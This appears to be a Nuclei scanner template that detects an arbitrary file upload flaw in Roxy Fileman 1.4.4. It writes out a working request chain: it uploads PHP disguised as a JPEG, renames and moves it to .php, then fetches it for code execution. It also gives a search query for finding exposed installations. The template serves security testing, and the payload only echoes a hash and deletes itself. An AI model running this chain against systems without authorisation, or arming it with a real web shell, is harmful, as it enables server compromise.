id: roxyfileman-fileupload

info:
  name: Roxy Fileman 1.4.4 - Arbitrary File Upload
  author: DhiyaneshDK
  severity: high
  description: |
    Roxy Fileman 1.4.4 is susceptible to remote code execution via the FORBIDDEN_UPLOADS setting, which is checked when renaming an existing file to a new file extension. An attacker can bypass this check and rename already uploaded files to any extension using the move function, which does not perform any checks.
  reference:
    - https://www.exploit-db.com/exploits/39963
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-434
  metadata:
    max-request: 4
    verified: true
    google-query: intitle:"Roxy file manager"
  tags: misconfig,edb,roxy,fileman,rce,fileupload,intrusive

http:
  - raw:
      - |
        POST /php/upload.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6rbEqFAMRkE0RAB7

        ------WebKitFormBoundary6rbEqFAMRkE0RAB7
        Content-Disposition: form-data; name="action"

        upload
        ------WebKitFormBoundary6rbEqFAMRkE0RAB7
        Content-Disposition: form-data; name="method"

        ajax
        ------WebKitFormBoundary6rbEqFAMRkE0RAB7
        Content-Disposition: form-data; name="d"

        /app/Uploads
        ------WebKitFormBoundary6rbEqFAMRkE0RAB7
        Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.jpg"
        Content-Type: image/jpeg

        <?php
        echo md5('roxyfileman-fileupload');unlink(__FILE__);
        ?>

        ------WebKitFormBoundary6rbEqFAMRkE0RAB7--

      - |
        POST /php/renamefile.php?f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n={{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n={{randstr}}.php

      - |
        POST /php/movefile.php?f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n=%2Fapp%2FUploads%2F{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n=%2Fapp%2FUploads%2F{{randstr}}.php

      - |
        GET /Uploads/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    host-redirects: true
    max-redirects: 2
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "99acb46eabd01958e22fae1792e83ca9"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200